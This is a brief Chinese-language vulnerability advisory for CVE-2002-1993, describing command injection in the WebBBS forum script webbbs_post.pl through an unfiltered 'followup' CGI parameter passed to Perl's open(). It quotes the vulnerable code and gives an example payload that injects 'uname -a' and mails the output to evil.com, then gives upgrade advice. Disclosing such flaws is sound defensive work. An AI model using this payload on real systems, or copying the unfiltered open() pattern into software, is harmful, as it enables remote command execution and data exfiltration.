CVE:CVE-2002-1993
CNNVD:CNNVD-200212-234
WebBBS是一款由Darryl Burgdorf维护的基于WEB的论坛程序，以简单文本文件存储信息。
WebBBS脚本对用户提交的输入缺少正确的过滤，远程攻击者可以利用这个漏洞以WEB进程的权限在系统上执行任意命令。
WebBBS没有正确过滤来自CGI参数上的元字符，攻击者可以提交包含";"或者"|"等元字符来执行额外命令，问题存在于webbbs_post.pl脚本中：
if ($FORM{'followup'}) { $followup =
"$FORM{'followup'}"; }
...
if ($followup) {
...
                $subdir = "bbs".int($followup/1000);
                open
(FOLLOWUP，"$dir/$subdir/$followup");
...
使用如"followup=10;uname -a|mail zlo@evil.com|"代替"followup=10"变量就可能以WEB权限在系统上执行任意命令。
solution:Upgrade affordable_web_space_design affordable_web_space_design_webbbs to a higher version than 4.0,4.1,4.2,4.10,4.11,4.12,4.20,4.21,4.22,4.30,4.31,4.32,4.33,5.0,and avoid the version 4.0,4.1,4.2,4.10,4.11,4.12,4.20,4.21,4.22,4.30,4.31,4.32,4.33,5.0